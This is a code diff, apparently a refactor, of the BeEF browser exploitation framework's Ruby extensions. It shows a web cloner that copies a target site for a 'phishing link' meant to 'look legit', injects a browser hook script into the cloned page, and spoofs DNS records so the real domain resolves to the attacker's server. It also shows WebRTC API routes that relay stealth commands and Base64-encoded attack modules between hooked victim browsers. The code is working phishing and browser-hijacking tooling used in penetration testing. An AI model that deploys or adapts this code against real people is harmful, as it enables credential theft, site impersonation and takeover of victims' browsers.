domain = url.gsub(%r{^http://}, '')
|
||||
|
||||
dns.add_rule(
|
||||
:pattern => domain,
|
||||
:resource => Resolv::DNS::Resource::IN::A,
|
||||
:response => ipv4
|
||||
) unless ipv4.nil?
|
||||
|
||||
dns.add_rule(
|
||||
:pattern => domain,
|
||||
:resource => Resolv::DNS::Resource::IN::AAAA,
|
||||
:response => ipv6
|
||||
) unless ipv6.nil?
|
||||
|
||||
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
|
||||
end
|
||||
|
||||
print_info "Mounting cloned page on URL [#{mount}]"
|
||||
@http_server.mount("#{mount}", interceptor.new)
|
||||
@http_server.remap
|
||||
|
||||
success = true
|
||||
else
|
||||
if File.size((@cloned_pages_dir + output).to_s).zero?
|
||||
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
|
||||
success = false
|
||||
return false
|
||||
end
|
||||
|
||||
success
|
||||
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
|
||||
|
||||
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
|
||||
|
||||
# Split the URL mounting only the path and ignoring the query string.
|
||||
# If the user wants to clone http://example.local/login.jsp?example=123&test=456
|
||||
# then the phishing link can be used anyway with all the proper parameters to look legit.
|
||||
mount = mount.split('?').first if mount.include?('?')
|
||||
mount = mount.split(';').first if mount.include?(';')
|
||||
|
||||
interceptor = BeEF::Extension::SocialEngineering::Interceptor
|
||||
interceptor.set :redirect_to, url
|
||||
interceptor.set :frameable, url_is_frameable?(url)
|
||||
interceptor.set :beef_hook, @beef_hook
|
||||
interceptor.set :cloned_page, get_page_content(file_path)
|
||||
interceptor.set :db_entry, persist_page(url, mount)
|
||||
|
||||
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
|
||||
if dns_spoof
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
|
||||
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
|
||||
ipv6.gsub!(/%\w*$/, '')
|
||||
domain = url.gsub(%r{^http://}, '')
|
||||
|
||||
unless ipv4.nil?
|
||||
dns.add_rule(
|
||||
pattern: domain,
|
||||
resource: Resolv::DNS::Resource::IN::A,
|
||||
response: ipv4
|
||||
)
|
||||
end
|
||||
|
||||
unless ipv6.nil?
|
||||
dns.add_rule(
|
||||
pattern: domain,
|
||||
resource: Resolv::DNS::Resource::IN::AAAA,
|
||||
response: ipv6
|
||||
)
|
||||
end
|
||||
|
||||
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
|
||||
end
|
||||
|
||||
print_info "Mounting cloned page on URL [#{mount}]"
|
||||
@http_server.mount(mount.to_s, interceptor.new)
|
||||
@http_server.remap
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Replace </head> with <BeEF_hook></head>
|
||||
def add_beef_hook(line)
|
||||
if line.include?("</head>")
|
||||
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
|
||||
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
|
||||
# @todo why is this an inline replace? and why is the second branch empty?
|
||||
if line.include?('</head>')
|
||||
line.gsub!('</head>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
|
||||
elsif line.gsub!('</HEAD>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
|
||||
end
|
||||
line
|
||||
end
|
||||
|
||||
private
|
||||
# check if the original URL can be framed. NOTE: doesn't check for framebusting code atm
|
||||
def is_frameable(url)
|
||||
result = true
|
||||
begin
|
||||
uri = URI(url)
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
end
|
||||
request = Net::HTTP::Get.new(uri.request_uri)
|
||||
response = http.request(request)
|
||||
frame_opt = response["X-Frame-Options"]
|
||||
# Check if the URL X-Frame-Options header allows the page to be framed.
|
||||
# @todo check for framebusting JS code
|
||||
# @todo check CSP
|
||||
def url_is_frameable?(url)
|
||||
uri = URI(url)
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
|
||||
if frame_opt != nil
|
||||
if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0
|
||||
result = false
|
||||
end
|
||||
end
|
||||
print_info "Page can be framed: [#{result}]"
|
||||
rescue => e
|
||||
result = false
|
||||
print_error "Unable to determine if page can be framed. Page can be framed: [#{result}]"
|
||||
print_debug e
|
||||
#print_debug e.backtrace
|
||||
if uri.scheme == 'https'
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||
end
|
||||
result
|
||||
|
||||
request = Net::HTTP::Get.new(uri.request_uri)
|
||||
response = http.request(request)
|
||||
frame_opt = response['X-Frame-Options']
|
||||
|
||||
# @todo why is this using casecmp?
|
||||
if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0)
|
||||
print_info "URL can be framed: #{url}"
|
||||
return true
|
||||
end
|
||||
|
||||
print_info "URL cannot be framed: #{url}"
|
||||
false
|
||||
rescue StandardError => e
|
||||
print_error "Unable to determine if URL can be framed: #{url}"
|
||||
print_debug e
|
||||
# print_debug e.backtrace
|
||||
false
|
||||
end
|
||||
|
||||
def get_page_content(file_path)
|
||||
@@ -204,15 +201,13 @@ module BeEF
|
||||
|
||||
def persist_page(uri, mount)
|
||||
webcloner_db = BeEF::Core::Models::WebCloner.new(
|
||||
:uri => uri,
|
||||
:mount => mount
|
||||
uri: uri,
|
||||
mount: mount
|
||||
)
|
||||
webcloner_db.save
|
||||
webcloner_db
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -6,13 +6,11 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module WebRTC
|
||||
|
||||
require 'base64'
|
||||
|
||||
# This class handles the routing of RESTful API requests that manage the
|
||||
# WebRTC Extension
|
||||
class WebRTCRest < BeEF::Core::Router::Router
|
||||
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@@ -41,119 +39,116 @@ module BeEF
|
||||
# longer required as client-debugging uses the beef.debug)
|
||||
#
|
||||
# +++ Example: +++
|
||||
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
# Host: 127.0.0.1:3000
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"from":1, "to":2}
|
||||
# {"from":1, "to":2}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# HTTP/1.1 200 OK
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"success":"true"}
|
||||
# {"success":"true"}
|
||||
#
|
||||
# +++ Example with verbosity on the client-side +++
|
||||
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
# Host: 127.0.0.1:3000
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"from":1, "to":2, "verbose": true}
|
||||
# {"from":1, "to":2, "verbose": true}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# HTTP/1.1 200 OK
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"success":"true"}
|
||||
# {"success":"true"}
|
||||
#
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
# -X POST -d '{"from":1,"to":2,"verbose":true}'
|
||||
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
post '/go' do
|
||||
begin
|
||||
body = JSON.parse(request.body.read)
|
||||
body = JSON.parse(request.body.read)
|
||||
|
||||
fromhb = body['from']
|
||||
raise InvalidParamError, 'from' if fromhb.nil?
|
||||
tohb = body['to']
|
||||
raise InvalidParamError, 'to' if tohb.nil?
|
||||
verbose = body['verbose']
|
||||
fromhb = body['from']
|
||||
raise InvalidParamError, 'from' if fromhb.nil?
|
||||
|
||||
result = {}
|
||||
tohb = body['to']
|
||||
raise InvalidParamError, 'to' if tohb.nil?
|
||||
|
||||
unless [fromhb,tohb].include?(nil)
|
||||
if verbose == nil
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
|
||||
result['success'] = true
|
||||
else
|
||||
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i,true)
|
||||
result['success'] = true
|
||||
else
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
|
||||
result['success'] = true
|
||||
end
|
||||
end
|
||||
r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i,
|
||||
:target_hooked_browser_id => tohb.to_i,
|
||||
:status => "Initiating..",
|
||||
:created_at => Time.now,
|
||||
:updated_at => Time.now)
|
||||
r.save
|
||||
r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i,
|
||||
:target_hooked_browser_id => fromhb.to_i,
|
||||
:status => "Initiating..",
|
||||
:created_at => Time.now,
|
||||
:updated_at => Time.now)
|
||||
r2.save
|
||||
else
|
||||
result['success'] = false
|
||||
end
|
||||
verbose = body['verbose']
|
||||
|
||||
result.to_json
|
||||
result = {}
|
||||
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
|
||||
halt 500
|
||||
if [fromhb, tohb].include?(nil)
|
||||
result['success'] = false
|
||||
return result.to_json
|
||||
end
|
||||
|
||||
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i, true)
|
||||
else
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
|
||||
end
|
||||
|
||||
r = BeEF::Core::Models::Rtcstatus.new(
|
||||
hooked_browser_id: fromhb.to_i,
|
||||
target_hooked_browser_id: tohb.to_i,
|
||||
status: 'Initiating..',
|
||||
created_at: Time.now,
|
||||
updated_at: Time.now
|
||||
)
|
||||
|
||||
r.save
|
||||
r2 = BeEF::Core::Models::Rtcstatus.new(
|
||||
hooked_browser_id: tohb.to_i,
|
||||
target_hooked_browser_id: fromhb.to_i,
|
||||
status: 'Initiating..',
|
||||
created_at: Time.now,
|
||||
updated_at: Time.now
|
||||
)
|
||||
r2.save
|
||||
|
||||
result['success'] = true
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
#
|
||||
# @note Get the RTCstatus of a particular browser (and its peers)
|
||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||
# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true
|
||||
#
|
||||
# +++ Example: +++
|
||||
#GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
# GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
# Host: 127.0.0.1:3000
|
||||
#
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# HTTP/1.1 200 OK
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"success":"true"}
|
||||
# {"success":"true"}
|
||||
#
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
get '/status/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
BeEF::Core::Models::Rtcmanage.status(id.to_i)
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result.to_json
|
||||
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
BeEF::Core::Models::Rtcmanage.status(id.to_i)
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
#
|
||||
@@ -161,49 +156,48 @@ module BeEF
|
||||
# Return JSON with events_count and an array of events
|
||||
#
|
||||
# +++ Example: +++
|
||||
#GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
# GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
# Host: 127.0.0.1:3000
|
||||
#
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# HTTP/1.1 200 OK
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
|
||||
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
|
||||
#
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
get '/events/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
events = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => id)
|
||||
events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id)
|
||||
|
||||
events_json = []
|
||||
count = events.length
|
||||
events_json = []
|
||||
count = events.length
|
||||
|
||||
events.each do |event|
|
||||
events_json << {
|
||||
'id' => event.id.to_i,
|
||||
'hb_id' => event.hooked_browser_id.to_i,
|
||||
'target_id' => event.target_hooked_browser_id.to_i,
|
||||
'status' => event.status.to_s,
|
||||
'created_at' => event.created_at.to_s,
|
||||
'updated_at' => event.updated_at.to_s
|
||||
}
|
||||
end
|
||||
events.each do |event|
|
||||
events_json << {
|
||||
'id' => event.id.to_i,
|
||||
'hb_id' => event.hooked_browser_id.to_i,
|
||||
'target_id' => event.target_hooked_browser_id.to_i,
|
||||
'status' => event.status.to_s,
|
||||
'created_at' => event.created_at.to_s,
|
||||
'updated_at' => event.updated_at.to_s
|
||||
}
|
||||
end
|
||||
unless events_json.empty?
|
||||
{
|
||||
'events_count' => count,
|
||||
'events' => events_json
|
||||
}.to_json if not events_json.empty?
|
||||
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||
halt 500
|
||||
}.to_json
|
||||
end
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
#
|
||||
@@ -211,70 +205,69 @@ module BeEF
|
||||
# Return JSON with events_count and an array of events associated with command module execute
|
||||
#
|
||||
# +++ Example: +++
|
||||
#GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
# GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
# Host: 127.0.0.1:3000
|
||||
#
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# HTTP/1.1 200 OK
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
|
||||
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
|
||||
#
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
get '/cmdevents/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
events = BeEF::Core::Models::Rtcmodulestatus.where(:hooked_browser_id => id)
|
||||
events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id)
|
||||
|
||||
events_json = []
|
||||
count = events.length
|
||||
events_json = []
|
||||
count = events.length
|
||||
|
||||
events.each do |event|
|
||||
events_json << {
|
||||
'id' => event.id.to_i,
|
||||
'hb_id' => event.hooked_browser_id.to_i,
|
||||
'target_id' => event.target_hooked_browser_id.to_i,
|
||||
'status' => event.status.to_s,
|
||||
'created_at' => event.created_at.to_s,
|
||||
'updated_at' => event.updated_at.to_s,
|
||||
'mod' => event.command_module_id
|
||||
}
|
||||
end
|
||||
events.each do |event|
|
||||
events_json << {
|
||||
'id' => event.id.to_i,
|
||||
'hb_id' => event.hooked_browser_id.to_i,
|
||||
'target_id' => event.target_hooked_browser_id.to_i,
|
||||
'status' => event.status.to_s,
|
||||
'created_at' => event.created_at.to_s,
|
||||
'updated_at' => event.updated_at.to_s,
|
||||
'mod' => event.command_module_id
|
||||
}
|
||||
end
|
||||
unless events_json.empty?
|
||||
{
|
||||
'events_count' => count,
|
||||
'events' => events_json
|
||||
}.to_json if not events_json.empty?
|
||||
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||
halt 500
|
||||
}.to_json
|
||||
end
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
#
|
||||
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||
# for success messages, IF ANY.
|
||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||
# for success messages, IF ANY.
|
||||
#
|
||||
# Input must be specified in JSON format
|
||||
#
|
||||
# +++ Example: +++
|
||||
#POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
# Host: 127.0.0.1:3000
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"from":1, "to":2, "message":"Just a plain message"}
|
||||
# {"from":1, "to":2, "message":"Just a plain message"}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# HTTP/1.1 200 OK
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"success":"true"}
|
||||
# {"success":"true"}
|
||||
#
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
@@ -289,74 +282,71 @@ module BeEF
|
||||
# If the <to> is stealthed, it'll bounce the message back.
|
||||
# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler
|
||||
post '/msg' do
|
||||
begin
|
||||
body = JSON.parse(request.body.read)
|
||||
|
||||
body = JSON.parse(request.body.read)
|
||||
fromhb = body['from']
|
||||
raise InvalidParamError, 'from' if fromhb.nil?
|
||||
|
||||
fromhb = body['from']
|
||||
raise InvalidParamError, 'from' if fromhb.nil?
|
||||
tohb = body['to']
|
||||
raise InvalidParamError, 'to' if tohb.nil?
|
||||
message = body['message']
|
||||
raise InvalidParamError, 'message' if message.nil?
|
||||
tohb = body['to']
|
||||
raise InvalidParamError, 'to' if tohb.nil?
|
||||
|
||||
if message === "!gostealth"
|
||||
stat = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i).first || nil
|
||||
unless stat.nil?
|
||||
stat.status = "Selected browser has commanded peer to enter stealth"
|
||||
stat.updated_at = Time.now
|
||||
stat.save
|
||||
end
|
||||
stat2 = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i).first || nil
|
||||
unless stat2.nil?
|
||||
stat2.status = "Peer has commanded selected browser to enter stealth"
|
||||
stat2.updated_at = Time.now
|
||||
stat2.save
|
||||
end
|
||||
message = body['message']
|
||||
raise InvalidParamError, 'message' if message.nil?
|
||||
|
||||
if message === '!gostealth'
|
||||
stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil
|
||||
unless stat.nil?
|
||||
stat.status = 'Selected browser has commanded peer to enter stealth'
|
||||
stat.updated_at = Time.now
|
||||
stat.save
|
||||
end
|
||||
|
||||
result = {}
|
||||
|
||||
unless [fromhb,tohb,message].include?(nil)
|
||||
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
|
||||
result['success'] = true
|
||||
else
|
||||
result['success'] = false
|
||||
stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil
|
||||
unless stat2.nil?
|
||||
stat2.status = 'Peer has commanded selected browser to enter stealth'
|
||||
stat2.updated_at = Time.now
|
||||
stat2.save
|
||||
end
|
||||
|
||||
result.to_json
|
||||
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing message (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
result = {}
|
||||
|
||||
if [fromhb, tohb, message].include?(nil)
|
||||
result['success'] = false
|
||||
else
|
||||
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
|
||||
result['success'] = true
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while queuing message (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
#
|
||||
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
||||
# In this instance, the message is a Base64d encoded JS command
|
||||
# which has the beef.net.send statements re-written
|
||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||
# for success messages, IF ANY.
|
||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||
# for success messages, IF ANY.
|
||||
# Commands are written back to the rtcmodulestatus model
|
||||
#
|
||||
# Input must be specified in JSON format
|
||||
#
|
||||
# +++ Example: +++
|
||||
#POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
# Host: 127.0.0.1:3000
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
|
||||
# {"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
# HTTP/1.1 200 OK
|
||||
# Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"success":"true"}
|
||||
# {"success":"true"}
|
||||
#
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
@@ -364,137 +354,124 @@ module BeEF
|
||||
# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
#
|
||||
post '/cmdexec' do
|
||||
begin
|
||||
body = JSON.parse(request.body.read)
|
||||
fromhb = body['from']
|
||||
raise InvalidParamError, 'from' if fromhb.nil?
|
||||
tohb = body['to']
|
||||
raise InvalidParamError, 'to' if tohb.nil?
|
||||
cmdid = body['cmdid']
|
||||
raise InvalidParamError, 'cmdid' if cmdid.nil?
|
||||
body = JSON.parse(request.body.read)
|
||||
fromhb = body['from']
|
||||
raise InvalidParamError, 'from' if fromhb.nil?
|
||||
|
||||
cmdoptions = body['options'] if body['options']
|
||||
cmdoptions = nil if cmdoptions.eql?("")
|
||||
tohb = body['to']
|
||||
raise InvalidParamError, 'to' if tohb.nil?
|
||||
|
||||
cmdid = body['cmdid']
|
||||
raise InvalidParamError, 'cmdid' if cmdid.nil?
|
||||
|
||||
cmdoptions = body['options'] if body['options']
|
||||
cmdoptions = nil if cmdoptions.eql?('')
|
||||
|
||||
if [fromhb, tohb, cmdid].include?(nil)
|
||||
result = {}
|
||||
|
||||
unless [fromhb,tohb,cmdid].include?(nil)
|
||||
# Find the module, modify it, send it to be executed on the tohb
|
||||
|
||||
# Validate the command module by ID
|
||||
command_module = BeEF::Core::Models::CommandModule.find(cmdid)
|
||||
error 404 if command_module.nil?
|
||||
error 404 if command_module.path.nil?
|
||||
|
||||
# Get the key of the module based on the ID
|
||||
key = BeEF::Module.get_key_by_database_id(cmdid)
|
||||
error 404 if key.nil?
|
||||
|
||||
# Try to load the module
|
||||
BeEF::Module.hard_load(key)
|
||||
|
||||
# Now the module is hard loaded, find it's object and get it
|
||||
command_module = BeEF::Core::Command.const_get(
|
||||
BeEF::Core::Configuration.instance.get(
|
||||
"beef.module.#{key}.class"
|
||||
)
|
||||
).new(key)
|
||||
|
||||
# Check for command options
|
||||
if not cmdoptions.nil?
|
||||
cmddata = cmdoptions
|
||||
else
|
||||
cmddata = []
|
||||
end
|
||||
|
||||
# Get path of source JS
|
||||
f = command_module.path+'command.js'
|
||||
error 404 if not File.exists? f
|
||||
|
||||
# Read file
|
||||
@eruby = Erubis::FastEruby.new(File.read(f))
|
||||
|
||||
# Parse in the supplied parameters
|
||||
cc = BeEF::Core::CommandContext.new
|
||||
cc['command_url'] = command_module.default_command_url
|
||||
cc['command_id'] = command_module.command_id
|
||||
cmddata.each{|v|
|
||||
cc[v['name']] = v['value']
|
||||
}
|
||||
# Evalute supplied options
|
||||
@output = @eruby.evaluate(cc)
|
||||
|
||||
# Gsub the output, replacing all beef.net.send commands
|
||||
# This needs to occur because we want this JS to send messages
|
||||
# back to the peer browser
|
||||
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s|
|
||||
tmpout = "// beef.net.send removed\n"
|
||||
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
|
||||
cmdurl = $1.split(',')
|
||||
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
|
||||
tmpout += ") Result: ' + "
|
||||
tmpout += cmdurl[2]
|
||||
tmpout += ");"
|
||||
tmpout
|
||||
}
|
||||
|
||||
# Prepend the B64 version of the string with @
|
||||
# The client JS receives the rtc message, detects the @
|
||||
# and knows to decode it before execution
|
||||
msg = "@" + Base64.strict_encode64(@output)
|
||||
|
||||
# Finally queue the message in the RTC queue for submission
|
||||
# from the from browser to the to browser
|
||||
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i,
|
||||
msg)
|
||||
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result.to_json
|
||||
else
|
||||
result = {}
|
||||
result['success'] = false
|
||||
result.to_json
|
||||
end
|
||||
rescue JSON::ParserError => e
|
||||
